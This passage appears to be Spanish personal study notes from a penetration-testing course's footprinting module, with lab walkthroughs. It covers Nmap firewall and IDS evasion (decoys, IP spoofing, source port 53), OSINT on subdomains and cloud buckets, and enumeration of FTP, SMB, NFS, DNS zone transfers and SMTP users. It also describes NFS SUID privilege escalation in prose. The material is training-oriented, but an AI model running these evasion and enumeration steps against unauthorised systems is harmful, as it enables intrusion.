Intentos maximos

El valor por defecto los intentos maximos son 10 pero lo podemos reducir incluso a 0

Parametros	Explicacion
–max-retries 0	Numero maximo de intentos

Ejemplo de escaneo de puertos:

• Defautl:

![[Pasted image 20260327172244.png]]

• Intentos reducidos:

![[Pasted image 20260327172302.png]]

Vemos que hemos perdido 2 puertos en el escaneo aunque hemos bajado el tiempo

Numero de paquetes

Seguramente estemos en una whitelist. Si conocemos el ancho de banda de la red podemos hacer que se envien mas paquetes por segundo para hacer el escaneo mas rapido

Comandos	Explicacion
–min-rate N	Numero minimo de paquetes enviados

Ejemplo de escaneo de puertos y host discovery:

• Default: ![[Pasted image 20260327172629.png]]

• Paquetes minimos optimizados: ![[Pasted image 20260327172649.png]]

Podemos ver que hemos tardadmo mucho menos. Yo pondria –min-rate 5000

Timing

Son plantillas predefinidas que podemos usar para modificar los escaneos de forma automatica

![[Pasted image 20260327172757.png]]

Ejemplo usando estas plantillas:

• Default: ![[Pasted image 20260327172853.png]]

• Usando -T5: ![[Pasted image 20260327172914.png]]

Firewall

Medida de seguridad contra conexiones no autorizadas desde redes externas. Son componenetes sw que monitorizan el trafico de red y deciden como tratar esa conexion mediante reglas (allowed, block, ignored)

Determinando Firewall rules

Como ya sabemos cuando nos da un puerto filtered puede ser por varias razones.

• Droped: no responde
• Rejected: si responde
  • TCP: flag RST
  • ICMP:
    • Net Unreachable
    • Net Prohibited
    • Host Unreachable
    • Host Prohibited
    • Port Unreachable
    • Proto Unreachable

Para saberlo recordamos usar estos para tener una salida mas limpia:

nmap -Pn -n --disable-arp-ping --packet-trace ...

Parametros	Explicacion
-sA	-sA es mucho mas dificil de filtrar por los firewalls e IDS/IPS que -sS y -sT ya que solo envian paquetes con flag ACK Esto sucede ya que con SYN el firewall detecta que viene externamente y que es el incio de una conversacion y por eso lo bloquea. Pero con ACK no puede determinar si la conexion fue inciada desde la red externa o por la red interna

Ejemplo SYN scan:

![[Pasted image 20260328093815.png]]

Estamos viendo que el puerto 21 es rejected y el 25 es dropped

Recibimos flags SA

Ejemplo ACK scan:

![[Pasted image 20260328093854.png]]

Vemos que el puerto 21 es unreachable y el 25 no tiene respuesta

Recibimos flags R

IDS/IPS

IDS escanea la red por potenciales ataques, los analiza y reporta cualquier ataque detectado IPS realiza medidas de seguridad si un ataque es detectado por IDS

(Se basan en pattern matching y signatures)

Detectando IDS/IPS

Es mas dificil ya que monitorizan de forma pasiva todo el trafico y si algo casa con una especificacion que tengan notifican al administrador

Sistemas de servidores virtuales privados VPS con diferentes IP addresses son recomendados para determinar si estos sistemas estan en la red objetivo. Si el admin detecta un posible ataque el primer paso sera bloquear la IP y nuestro ISP sera contactado y bloqueado de todos los accesos de la red

• Entonces una forma de detectar si hay IPS es el sistema objetivo es usar un solo host del VPS y si en algun momento somos bloqueados podemos continuar con otro VPS

Decoys

Hay casos en los que se bloquean subredes de un regios o el IPS nos bloquea. Por esto usaremos Decoy

Las IPs decoys deben corresponder a IPs vivas que respondan (Si es externa no poner 8.8.8.8 o 1.1.1.1 tiene que ser creible y si es interna usar algunas que esten en su subred o se puedan comunicar con la maquina objetivo)

Como el spoofing suele ser bloqueado, se usan IPs reales (como VPS) bien enrutadas. Además, se puede usar un idle scan, donde un host ‘zombie’ con IP ID predecible permite inferir si un puerto está abierto o cerrado observando cambios en su IP ID tras recibir respuestas del objetivo (ese zombie puede ser una maquina de la misma red, una virtual tuya, impresoras de red, routers…)

Parametro	Explicacion
-D IP,IP,TU_IP	Con esto generamos varias IPs random a nuestra eleccion que se insertan en los headers y las añades junto a la tuya
-D RND:N	Con esto generamos N IPs aleatorias de forma automatica
-sI zombie_IP	1 solo zombie a la vez, contra pocos puertos destino y accesible desde el destino. Es la ocultacion real
-S IP	Suplantas completamente tu IP origen pero la respuesta se manda a esa IP falsa. Si controlamos esa IP (como que fuera nuestro VPS) o hacemos MITM (como ARP Spoofing en la misma LAN) podremos ver la respuesta pero sino no sabremos que responde porque se la manda directamente a la otra IP origen
-S IP -e INTERFAZ	Cuando spoofeamos una IP que debe ser accesible al objetivo debemos especificar la INTERFAZ de esa IP spoof para que nmap no use otra interfaz y generar inconsistencias

Ejemplo Decoy:

![[Pasted image 20260328095812.png]]

Ejemplo Spoof Source IP:

![[Pasted image 20260328102814.png]]![[Pasted image 20260328102820.png]]

DNS Proxying

Los DNS de la empresa son mas confiables para los sistemas que los externos. Podemos usar esto para comunicarnos con la red interna por ejemplo

Parametros	Explicacion
–dns-server NS1,NS2	Con esto podemos cambiar el DNS al que le hacemos la resolucion solo en nmap y evitar generar logs internos por fallos, ver como responde el destino a diferentes DNS… Es como cambiar /etc/resolv.conf pero solo a nivel nmap Ademas como se explico antes, las maquinas de la empresa confian mas en el DNS de la empresa por lo que cambiando el NS al de la empresa podriamos comunicarnos con maquinas internas si estamos en una DMZ
–source-port 53	Podemos usar este puerto para los escaneos que suele ser confiable Al ser confiable es posible que el adminsitrador haya hecho malos filtros firewall aceptando el trafico desde el 53
nc -nv –source-port 53 IP PUERTO	Podemos conectarnos con netcat desde el puerto 53

Ejemplo Usando Puerto 53:

Aqui se ve como de normal no responde pero al puerto 53 si

![[Pasted image 20260328103646.png]]![[Pasted image 20260328103654.png]]

Ejemplo conexion netcat desde puerto 53:

![[Pasted image 20260328103855.png]]

Easy

Descubrir el nombre del SO

![[Pasted image 20260330141009.png]]

Medium

Conseguir la version del servidor DNS

![[Pasted image 20260330141935.png]]

Vemos que 53 esta filtrado y vemos que es debido a rejected. Puede que nos lo niegue el IDS/IPS o firewall porque detecte escaneo

![[Pasted image 20260330142007.png]]

Vamos a probar decoy sobre el puerto 53 de DNS para ver si ya no nos lo niega

![[Pasted image 20260330142959.png]]![[Pasted image 20260330143011.png]]

Hard

Encontrar la version de los servicios

![[Pasted image 20260330145119.png]]

No encontramos la flag asi que debe ser otro puerto que este abierto. Vamos a ir probando hasta encontrarlo

![[Pasted image 20260330150722.png]]![[Pasted image 20260330150735.png]]

Encontramos un puerto 50000 ![[Pasted image 20260330151716.png]]

Vamos a ver si es rejected o dropped. Vemos que se cierra repentinamente debe ser porque detecta escaneo

![[Pasted image 20260330151947.png]]

Vamos a conectarnos para ver si nos da un banner. Obtenemos un banner que seria su version

![[Pasted image 20260330152042.png]]

Se refiere a la presencia entera en Internet

Para la parte pasiva podemos usar herramientas de terceros. Pero lo primero es ver el web site principal, leerlo y mantener en la cabeza las tecnologias y estructura que necesitan esos servicios

Tenemos que prestar atencion a lo que podemos ver y a lo que no. Vemos los servicios pero no su funcionalidad, para que esta ese servicios expuesto

Presencia Online

Lo primero es mirar el certificado SSL. Este puede contener mas de un subdominio y esto significa que este certificado se usa para varios subdominio activos

![[Pasted image 20260331203912.png]]

Otra fuente para encontrar subdominios: crt.sh

Aqui salen los certificados firmados por CAs o Unidades Certificadoras legitimas y nos permite distinguir certificados falsos y malicisos

![[Pasted image 20260331204312.png]]

Podemos mostrar los resultados en JSON:

curl -s https://crt.sh/\?q\=DOMINIO\&output=json | jq .

![[Pasted image 20260331204435.png]]

O filtrar por los subdominios:

curl -s https://crt.sh/\?q\=DOMAIN\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u

![[Pasted image 20260331204524.png]]

Host servers

Tras esto podemos usar el comando host para identificar todas las IPs de estos subdominios:

for i in $(cat ARCHIVO_DOMINIOS);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done

![[Pasted image 20260331204617.png]]

Shodan IP List

Despues podemos usar Shodan

Nos mostrara informacion de los sistemas y dispositivos que estan coenctados a Internet. Podemos pasarla la lista de IPs para que nos de informacion de forma pasiva de estos hosts

1. for i in $(cat ARCHIVO_DOMAINS);do host $i | grep "has address" | grep DOMINIO | cut -d" " -f4 >> ARCHIVO_IPs.txt;done 

2. for i in $(cat ARCHIVO_IPs.txt);do shodan host $i;done

![[Pasted image 20260331205228.png]]![[Pasted image 20260331205236.png]]

DNS Records

Tambien podemos sacar los registros DNS del dominio con dig

dig any DOMAIN

![[Pasted image 20260331205332.png]]

Podemos ver a parte de nuevos IPs y subdominios, ahora podemos ver tambien proveedores externos detras de las entradas:

![[Pasted image 20260331210851.png]]

Si buscamos vemos que por ejemplo Atlassian lo usa la compañia como solucion de desarrollo de sw, Google Email puede indicarnos que usan Google para gestion de mails y probablemente podamos encontrar un GDrive, LogMeIn regula y maneja el acceso remoto de diferentes niveles, Outlook puede indicar otro gestionador de mails pero tambien uso de herramietnas como Azure, Office 365…

Recalcar que lso Registros TXT nos pueden dar informacion de verification keys de diferentes proveedores de 3os y otros aspectos de seguridad DNS. Por ejemplos SPF, DMARC y DKIM que son responsables de verificar y confirmar el origen de los emails enviados

SPF: dice que servidores pueden enviar emails en nombre de tu dominio
DKIM: añade una firma digital al correo
DMARC: define que hacer si los otros fallan. Bloquear, mandar a spam, nada...

Ejemplo: nos envian un correo

Nuestro Gmail, Outlook realiza estas comprobaciones: en el dominio real:

1. Determina si la IP desde la que lo mandas esta verificada el dominio desde el que se supone que se manda en el SPF del dominio real
2. Comprueba si tiene un firma digital del DKIM del dominio real
3. Si ambas fallan o por defecto se ejecutan unas acciones por DMARC del dominio real

El uso de AWS (S3 buckets), GCP (blobs) y Azure (cloud sotrage) entre otros esta muy extendido en las compañias

Aunque los proveedores de cloud son los que se encargan de la seguridad de la infraestructura, las malas configuraciones de los adminsitradores pueden hacer que los recursos cloud sean vulnerables

Podemos sacar los subdominios y ver si se estan usando infraestructuras cloud:

1. curl -s https://crt.sh/\?q\=DOMAIN\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u

2. for i in $(cat ARCHIVO_SUBDOMINIOS);do host $i | grep "has address" | grep DOMAIN | cut -d" " -f1,4;done

![[Pasted image 20260331214032.png]]![[Pasted image 20260331214045.png]]

Google Search

Otra forma de encontrar almacenamientos cloud:

intext:EMPRESA inurl:amazonaws.com | blob.core.windows.net 

![[Pasted image 20260331215002.png]]

Estos enlaces contenienen pdfs

Codigo fuente de las paginas web

Tambien podemos ver enlaces donde se pueden encontrar archivos almacenados a los que se hacen referencia desde la pagina web

![[Pasted image 20260331215225.png]]

Domain Glass

domain.glass es una herramienta que nos dira sobre la infraestructura de la compañia.

Nos da informacion registros DNS, Subdominios, IPs asoicadas, Infraestructura como si usa cloud, hosting, certificado ssl

![[Pasted image 20260331215610.png]]

Aqui vemos Cloudflare security assessment status for EMPRESA.amazonaws.com Safe. Esto quiere decir que detras de la web esta cloudflare que esta protegiendo el dominio

Cloudflare hace de WAF, Proxy/CDN ocultando la IP real del servidor y proteccion ante DDoS (capa 2 gateway (firewalls, proxies…) la capa 1 es la web en si)

GrayHayWarfare

GrayHatWarfare es una herramienta OSINT que indexa archivos publicos de la nube de una empresa o dominio

![[Pasted image 20260331220342.png]]

En el ejemplo dado vemos que podemos encontrar un archivo id_rsa e id_rsa.pub

![[Pasted image 20260331220456.png]] ![[Pasted image 20260331220510.png]]

Sacar empleados de redes sociales nos puede dar mucha informacion de la infraestructura, lenguajes y aplicaciones de sw usadas basado en las skills de los empleados. Tambien los trabajos que busca la empresa nos puede dar informacion

Podemos identificarlos en LinkedIn o Xing

Ejemplo oferta empleo

![[Pasted image 20260331221313.png]]

Vemos lenguajes, framworks, databases…

Ejemplo empleado de LinkedIn

![[Pasted image 20260331221342.png]]

Repositorios GitHub

El usuario anterior tiene un repositorio de GitHub

Estos pueden ser buenos para demostrar nuestro trabajo pero pueden mostrar datos y fallos que seran dificiles de solucionar

En este ejemplo encontramos el correo persoanl del empleado y mirando mas afondo en esa url de github vimos un token JWT hardcodeado:

![[Pasted image 20260331221745.png]]

File Transfer Protocol - 21/TCP

Ambos establecen el canal de datos por el puerto 20/TCP y es solo usado para transmision de datos. En una conexion que se rompa durante la transmision puede ser retomada tras volver a establecer contacto

Dos distinciones de comunicacion:

• Activa: el cliente establece la conexion sobre el puerto 21 y de este modo informa al servidor que puerto del lado del cliente debe transmitir las respuestas. Si un firewall protege al cliente, el servidor no podra responder porque las conexiones externas seran bloqueadas
• Pasivo: el servidor anuncia un puerto por el cual el cliente puede establecer el canal de datos. Mientras el cliente se conecte por aqui el firewall no bloqueara la transferencia

Normalmente necesitaremos credenciales validas en texto claro. Otras veces estara el anonymous FTP activado

TFTP: es la version UDP de FTP. No provee caracterisiticas autenticacion. Se basa en los permisos de lectura y escritura del archivo en si. Por eso se suele usar en archivos compartidos que todos pueden leer, debido a su falta de medidas de seguridad

Footprinting

locate scripts/ftp

sudo nmap -Pn -sS -sVC -p21 IP

![[Pasted image 20260401164858.png]]

Vemos que esta el login anonymous permitido y se ha listado Vemos que tiene deshabilitado el UID y GID Vemos que ftp-syst ejecuto STAT y nos devolvio el server status

Otras formas de interactuar con FTP:

nc -nv IP PUERTO
telnet IP PUERTO

FTP + SSL

Si FTP soporta SSL necesitaremos un cliente que tambien los soporte. Usaremos openssl

openssl s_client -connect IP:PUERTO -starttls ftp

Con esto tambien veremos el certificado SSL

![[Pasted image 20260401165416.png]]

Comandos y cosas a comprobar

Acceso FTP normal y anonimo

ftp IP Puerto
	User : USER o anonymous
	Pass :  PASS o Enter

![[Pasted image 20260401162810.png]]

o

ftp ftp://USER:PASS@IP

![[Pasted image 20260708185504.png]]

FTP Commands

commands : aqui estan todos los comandos de FTP

Comandos	Explicacion
?	Lista de comandos que podemos usar

Obtener mas info del sistema y salida

status : estados de respuesta FTP

Comandos	Explicacion
debug	Muestra info detallada sobre lo que hace el cleinte FTP (comandos que envia, respuestas de estado del servidor, info de la conexion)
trace	Muestra los comandos que se envian pero con menos detalle que debug
![[Pasted image 20260401163444.png]]

Ocultacion de UID y GID de los archivos

Cuando esto esta activado no podremos ver quien es el propietario del archivo ni el grupo.

En su lugar veremos : “ftp ftp”

![[Pasted image 20260401164027.png]]

Con esto tambien evitan relevar nombres de usuario

Listado recursivo

Nos dara una mejor vista y de forma rapida del servidor ftp

Comandos	Explicacion
ls -R	Lista de forma recursiva desde donde estamos

![[Pasted image 20260401164305.png]]

Descargar y subir archivos

Esto se puede aprovechar usando despues LFI en eel webpage para poder ejecutar comandos en el sistema

Comandos	Explicacion
get archivo	Descargar archivo
wget -m –no-passive ftp://USER:PASS@IP	Descargar todo de forma recursiva
put archivo_local
![[Pasted image 20260401164557.png]]![[Pasted image 20260401164604.png]]![[Pasted image 20260401164611.png]]

LABORATORIO

1. La version de FTP

![[Pasted image 20260401170255.png]]![[Pasted image 20260401170307.png]]![[Pasted image 20260401170312.png]]

2. Conseguir la flag del archivo del servidor

![[Pasted image 20260401170752.png]]![[Pasted image 20260401170803.png]]

Server Message Block es un protocolo cliente servidor para regular el acceso a archivos, directorios y recursos de red como impresoras, routers… en una misma LAN Samba es la version Linux que permite comunicarse con Windows. Samaba implementa CIFS que es un dialecto de SMB. CIFS es una version antigua de SMB

La comunicacion se establece mediante un 3 way handshake por TCP

• SMB antiguo (NetBIOS) usaba puertos:
  • 137 (NetBIOS Name Service, resolucion de nombres)
  • 138 (NetBIOS Datagram Service)
  • 139 (NetBIOS Session Service, aqui va SMB) –> CIFS opera aqui
• SMB moderno usa puerto 445

Versiones SMB y caracteristicas

![[Pasted image 20260401171918.png]]

Footprinting

sudo nmap -Pn -sS -sVC -p139,445

![[Pasted image 20260401172750.png]]

No nos dice mucho pero podemos interactuar manualmente con SMB

SMBClient

smbclient -N -L \\\\IP o //IP
smbclient -L \\\\IP -U USER
smbclient -N \\\\IP\share
smbclient \\\\IP\share -U USER

Parametros	Explicacion
-L	Listar
-N	Como usuario anonimo
-U USER	Como usuario
-P PASS	Especificar password

![[Pasted image 20260401172329.png]]![[Pasted image 20260401172353.png]]![[Pasted image 20260401172418.png]]

RPCCLient

RPC - Remote Procedure Call

rpcclient -U "" IP
rpcclient -U "USER" IP

![[Pasted image 20260401173845.png]]

Comandos	Explicacion
srvinfo	Informacion del servidor
enumdomains	Enumera todos los dominios de la red
querydominfo	Provee info de dominio, servidor y usuarios
netshareenumall	Enumera los shares de la red
netsharegetinfo SHARE	Da infomacion de un share en especifico
enumdomusers	Enumera todos los usuarios del dominio
queryuser RID	Info de un usuario especifico
querygroup RID_GRUPO_USUARIO	Info de un grupo. El RID de grupo lo sacamos del queryuser de un usuario

![[Pasted image 20260401174144.png]] ![[Pasted image 20260401174212.png]] ![[Pasted image 20260401174334.png]] ![[Pasted image 20260401174400.png]] ![[Pasted image 20260401174521.png]]

Abra veces en las que no todos los comandos se puedan usar por restricciones del usuario. Si podemos usar queryuser y no enumdomusers podemos hacer fuerza bruta de RIDs para encontrar usuarios reales:

for i in $(seq 500 1100);do rpcclient -N -U "USER" IP -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

![[Pasted image 20260401174810.png]]

Samrdump Impacket

Una alternativa es usar samrdump.py de Impacket

![[Pasted image 20260401174944.png]]

SMBMap

smbmap -H IP
smbmap -H IP -u USER -p PASS

![[Pasted image 20260401175029.png]]

Parametros	Explicacion
-r SHARE	Enumerar contenido del share
–download “SHARE/archivo”	Descargar archivo del share

Crackmapexec

crackmapexec smb IP --shares -u '' -p ''
crackmapexec smb IP --shares -u 'USER' -p 'PASS'

![[Pasted image 20260401175143.png]]

Enum4Linux

enum4linux IP -a
enum4linux IP -a -u 'USER' -p 'PASS'

![[Pasted image 20260401175225.png]]![[Pasted image 20260401175231.png]] ….

Comandos SMB

Comandos	Explicacion
ls	Listar
cd DIRECTORIO	Movernos
get ARCHIVO	Descargar archivo
put ARCHIVO_LOCAL	Subir archivo
!COMANDO	Nos permite ejecutar un comando en nuestra terminal Ejemplo: !cat archivo

LABORATORIO

1. Que version esta corriendo

![[Pasted image 20260401180047.png]]

2. Nombre del share accesible

![[Pasted image 20260401180312.png]]

![[Pasted image 20260401180427.png]]![[Pasted image 20260401180446.png]]

3. Conectarse al share y obtener la flag

![[Pasted image 20260401180649.png]]

4. Encontrar el nombre del dominio

![[Pasted image 20260401180743.png]]

5. Encontrar informacion adicional sobre ese share que podemos acceder y dar la version customizada

![[Pasted image 20260401180910.png]]

6. Cual es el path de ese share

![[Pasted image 20260401181144.png]]

Network File System tiene la misma finalidad que SMB pero entre Linux y Unix systems. No tiene mecanismos de autenticacion ni autorizacion la cual esta delegada a la informacion de archivo que se quiera acceder (UID/GID y group membership)

Puerto 111 TCP/UDP y 2049 TCP

Versiones:

![[Pasted image 20260402113526.png]]

Footprinting

sudo nmap -Pn -sS -sVC -p111,2049 IP

![[Pasted image 20260402114015.png]]

Esto nos da una lista de los servicios RPC que estan corriendo, sus nombres, descripciones y los puertos que usan

sudo nmap -Pn -sS -sV --script=nfs* -p111,2049 IP

![[Pasted image 20260402114228.png]]![[Pasted image 20260402114244.png]]

Esto nos esta dando el contenido y sus permisos, estado, ubicacion en la que esta montado…

Montar Shares NFS

Una vez que descubrimos el servicio NFS podemos montar en nuestro sistema local y navegar entre los directorios

showmount -e IP

![[Pasted image 20260402114503.png]]

mkdir DIRECTORIO
sudo mount -t nfs IP:/ ./DIRECTORIO -o nolock

![[Pasted image 20260402114612.png]]

Aqui vemos que en nuestra carpeta hemos montado el /mnt/nfs. Desde aqui en local podremos ver permisos, usuarios y grupos a los que pertenecen estos archivos

![[Pasted image 20260402114835.png]]

Listar contenidos para ver UIDs y GUIDs

ls -n mnt/nfs

![[Pasted image 20260402114912.png]]

Desmontando

sudo umount ./DIRECOTRIO

![[Pasted image 20260402115921.png]]

Explicacion root_squash

Es una parametro que se activa en la configuracion de NFS que impide modificar los archivos por el root local del que monte el share en su maquina local

• Como se ve si hay root_squash:

Si al montarlo y listarlo vemos en el UID algo como –> nobody / 65534 –> el root_squash estara habilitado

Si vemos em el UID –> 0 - root –> estara deshabilitado y podremos modificar el contenido de los archivos montados con nuestro root local

Ejemplo claro de root_squash on: ![[Pasted image 20260402120848.png]]

Escalada de privilegios NFS + SUID + SSH o acceso RCE

Si tenemos acceso por ejemplo via ssh podemos subir a la carpeta del share un shell con el SUID del usuario que queramos conectarnos y ejecutar el shell via SSH

En nuestro listener nos dara una shell con ese usuario

LABORATORIO

1. Mostrar flag del share “nfs”

![[Pasted image 20260402120447.png]] ![[Pasted image 20260402120456.png]] ![[Pasted image 20260402120815.png]]

2. Mostrar flag del share “nfsshare”

![[Pasted image 20260402121009.png]]

Ejemplo

![[Pasted image 20260405112255.png]]

Domain Name System es un sistema de resolucion de nombres de computadoras a IPs

Esta informacion se reparte en cientos de NS en el mundo distribuidos

FQDN : Nombre de dominio completamente cualificado :

- host.subdominio.dominio.tld

Enumerar DNS sirve para encontrar:

• Hostnames
• Subdomains que podemos poner en el navegador y puede que tengan utilidades diferentes
• IPs que podemos enumerar
• Servicios como correo etc

Todos estos se pueden enumerar y encontrar nuevos puertos y vectores de ataque

Tipos de DNS Server:

![[Pasted image 20260402130656.png]]![[Pasted image 20260402131033.png]]

DNS Records

![[Pasted image 20260402131051.png]]

Footprinting

Dig

La informacion generada por los DNS se obtiene a partir de solicitudes que enviamos

SOA

Este nos muestra quien es el servidor DNS principal de un dominio (NS primary) y como se gestiona la zona

![[Pasted image 20260402132300.png]]

En este ejemplo se da informacion de inalefreight.com (zona principal) no de www.inlanefreight.com (subdominio):

• ns-161.awsdns-20.com : es el DNS Server principal
• awsdns-hostmaster.amazon.com –> [email protected] : es el email del admin

Encontrar NS

Este servidor es que corre el puerto 53 y el que nos estan dando directamente en los labs

Podemos consultar el servidor DNS para saber que otros NS conoce:

dig ns DOMAIN @IP_NS

EL @IP indica el servidor DNS (NS) que se quiere consultar, sin el resolveriamos usando el /etc/resolv.conf

![[Pasted image 20260402131456.png]]

Ver version DNS Server

dig CH TXT version.bind IP_NS

![[Pasted image 20260402131842.png]]

Ver todos los DNS records

No todos los registros de la zona se mostraran porque puede que esten bloqueados

dig any DOMAIN @IP_NS

![[Pasted image 20260402132108.png]]

Zone transfer - AXFR

Esto se refiere a las transferencias que se hacen entre zonas, de un DNS a otro que suelen pasar por el puerto 53

Si un DNS falla puede tener consecuencias graves. Si se cambia algo de un DNS se debe asegurar que todos los servidores tienen los mismos datos y estan sincronizados - La sincronizacion se hace mediante las Zone Transfer

Normalmente los datos originales se almacenan en el NS primario de la zona. Casi siempre hay un NS secundario para temas de seguridad

Las entradas son cambiadas, creadas o elminadas en el DNS primario. Esto se puede hacer manualmente editando el zone file o automaticamente actualizando la database

Un DNS server que se usa como fuente directa para sincronizar un zone file se le llama master (DNS primario) Un DNS server que recibe zone data de un master se le llama esclave (DNS secundario)

El esclavo revisa cada cierto tiempo (refresh time) o el serial number (si es mayor revisa) el SOA del master

dig axfr DOMAIN @IP_NS

![[Pasted image 20260402134150.png]]

Podemos buscar en otras zonas en busca de otras IPs, ejemplo de internal:

![[Pasted image 20260402134244.png]]

Brute force subdomains

Bash

for sub in $(cat /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.DOMAIN @IP | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done

DNSenum

dnsenum --dnsserver IP --enum -p 0 -s 0 -o ARCHIVO.txt -f /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt DOMAIN

![[Pasted image 20260402134524.png]]![[Pasted image 20260402134531.png]]

Que puedo hacer

![[Pasted image 20260405170629.png]]![[Pasted image 20260405170636.png]]

MX

Significa que esta corriendo un SMTP y/o un IMAP/POP3 que podemos tener como objetivo

LABORATORIO

1. Interactua con el DNS usando esta IP y enumera el FQDN del dominio inlanefreight.htb

![[Pasted image 20260402134919.png]]

Encontramos el NS parece solo haber 1 por lo que sera el primario

2. Mirar si podemos hacer un zonetransfer y devolver el registro TXT

![[Pasted image 20260402135212.png]]

Encontramos varias zonas pero no la flag. Vamos a probar a hacer zone transfer a alguna de estas zonas como internal:

![[Pasted image 20260402135314.png]]

3. IP address de DC01

![[Pasted image 20260402135355.png]]

4. Que FQDN tiene el host con ### x.x.x.203

Probamos fuerza bruta en el dominio y subdominios encontrados

![[Pasted image 20260402165136.png]]

![[Pasted image 20260402165204.png]]

Deja hacer zonetransfer pero no lo encuentra

![[Pasted image 20260402165243.png]]

Vemos que app no deja hacer zonetransfer. Probamos con el siguiente

![[Pasted image 20260402165219.png]]

Simple Mail Transfer Protocol es un protocolo para enviar emails que puede ser usado entre un cliente email y un marl server o entre dos mail servers

Normalmente se combina con IMAP o POP3 los cuales pueden buscar y enviar emails

Puertos : 25 TCP (por defecto), versiones nuevas 587 (TCP) suele ser el encriptado con SSL

La autenticaciones con credenciales y una vez que nos autentiquemos podremos enviar y recibir mails

Pasos al enviar un mail

![[Pasted image 20260402171420.png]]

MUA o cliente convierte el mensaje en header y body MSA es checkea la validacion, origen… MTA es un sw que recibe y envia el mail y checkea el tamaño y si es spam. Tambien revisa en los registros DNS la IP del mail server MDA reasambla el header y body en uno y lo envia al mailbox

2 desventajas inneherentes:

• El envio no nos da una confirmacion de vuelta por defecto. Normalmente solo devuelve un mensaje de error en ingles del mensaje no entregado
• Los usuarios no se autentican al establecer la conexion, por lo que el sender es poco confiable, por lo que los ataques de SMTP relay se usan para enviar spam Los remitentes utilizan direcciones de correo electrónico falsas y arbitrarias para evitar ser rastreados (suplantación de identidad por correo electrónico) Para esto se usa DKIM y SPF, para enviarlo directamente a la carpeta de spam

Comandos y codigos

![[Pasted image 20260402172327.png]]

Codigos SMTP

![[Pasted image 20260402172744.png]]

Footprinting

sudo nmap -Pn -sS -sVC -p25 IP

![[Pasted image 20260402173253.png]]

Podemos probar con un NSE si el servidor SMTP es un Open Relay (permite enviar correo sin autenticacion a cualquier destino). Este NSE realizara 16 pruebas distintas

Como vemos en la salida es un Open Relay y las 16 pruebas han tenido exito:

![[Pasted image 20260402173731.png]]![[Pasted image 20260402173741.png]]

*Si pusiese un 10/16 eso signfica que puedo usar esas 10 tecnicas para hacer openrelay. Con que funcione una vale

EJEMPLO: funcioann 3/16 pues podemos usar esas 3

![[Pasted image 20260402174027.png]]

Interaccion

telnet IP PUERTO (25 o 587) 
HELO MAILSERVER o EHLO SUBDOMINIO

![[Pasted image 20260402172510.png]]

VRFY se puede usar para enumerar usuarios pero no siempre funciona. Code 252 confirma un usuario que en realidad no existe en el sistema

![[Pasted image 20260402172657.png]]

Enviar un mail

EHLO domain
MAIL FROM: usuario@domain
RCPT TO: usuario@domain NOTIFY=success,failure
DATA
	Escribimos lo que queramos
	.
QUIT

![[Pasted image 20260402173128.png]]![[Pasted image 20260402173139.png]]

Enumerar usuarios

Si VRFY esta disponible, nos conectamos y vamos probando:

VRFY USER
	250 ok : EXISTE
	252 : NO PUEDE VERIFICARLO = NO EXISTE

Otra forma si esta VRFY de forma automatica:

smtp-user-enum -M VRFY -U WORDLIST -t IP -p 25 -w 20 

Si no existe VRFY entonces probamos esta opcion:

![[Pasted image 20260402180218.png]]

LABORATORIO

1. Enumerar el servicio y encontrar el banner de la version ![[Pasted image 20260402174604.png]] ![[Pasted image 20260402174554.png]]

2. Enumerar el servicio SMTP y encontrar al usuario

Usamos la Wordlist que nos dan:

![[Pasted image 20260402175711.png]]![[Pasted image 20260402180044.png]]

IMAP permite el acceso a mails desde un server, gestion remota de emails y soporta estructura de carpetas. Tambien proporciona sincronizacion del email local con el mailbox del server. Es basado en texto y tiene funciones como buscador, acceso simultaneo por varios usuarios

POP3 solo provee listado, recuperado y borrado de mails en el mail server

Los clientes pueden crear copias locales del database central y necesita autenticacion por credenciales

IMAP Puerto : 143 TCP o 993 TCP (SSL) POP3 Puerto : 110 TCP o 995 TCP (SSL)

SMTP se usa para el envio de mails e IMAP/POP3 se usan para el almacenado y añadir mas funcionalidades al servidor o mailbox

Footprinting

sudo nmap -Pn -sS -sVC -T4 -p110,143,993,995 IP

![[Pasted image 20260403102504.png]]

De esta salida podemos ver el common name del mailserver “mail1.inlanefreight.htb” y pertenece a la organizacion Inlafreight en California..

Tambien podemos ver las caracteristicas montadas en cada protocolo. Se ven en la parte de capabilities

Loggin con curl sin SSL

curl -k 'imaps://IP' --user USER:PASS
Con -v podremos ver: como se realiza la conexion, certificado SSL, version del servidor en el banner...

![[Pasted image 20260403103512.png]] ![[Pasted image 20260403103540.png]]

Login openssl para SSL conections

openssl s_client -connect IP:pop3s

![[Pasted image 20260403103718.png]]![[Pasted image 20260403103735.png]]

Comandos POP3

Una vez conectados podemos usar los comandos para navegar y enviar comandos en el server

![[Pasted image 20260403102252.png]]

Comandos IMAP

![[Pasted image 20260403104939.png]]

LABORATORIO

Tenemos las creds:

robin:robin

1. Encontrar el nombre exacto de la organizacion

![[Pasted image 20260403104508.png]]![[Pasted image 20260403104551.png]]

2. FQDN del servidor ![[Pasted image 20260403104610.png]]

3. Enumera IMAP y encuentra la flag

![[Pasted image 20260403104728.png]] ![[Pasted image 20260403104757.png]]

4. Version customizada de POP3

![[Pasted image 20260403110809.png]]

5. Admin email ![[Pasted image 20260403110558.png]]

6. Trata de acceder a los emails del server IMAP y consigue la flag ![[Pasted image 20260403110611.png]]

Creado para monitorizar dispositivos de red ademas de menajar tareas de configuracion y cambiar las configuraciones de forma remota

Puerto 161 UDP Puerto 162 UDP : envia paquetes desde el servidor al cliente que no necesitan ser solicitados si el dispositivo esta configurado para que le lleguen

Elementos clave

MIB

SNMP usa una base de datos. El MIB es un archivo que hace como mapa donde muestra:

• Que significa cada OID
• Que tipo de dato devuelve
• Como interpretarlo

OID

Es una cadena de numeros que nos da informacion. Cuanto mas larga mas informacion contiene

Ejemplo OID: 1.3.6.1.2.1.1.5 Como se ve en el MIB: sysName → nombre del sistema

Community String

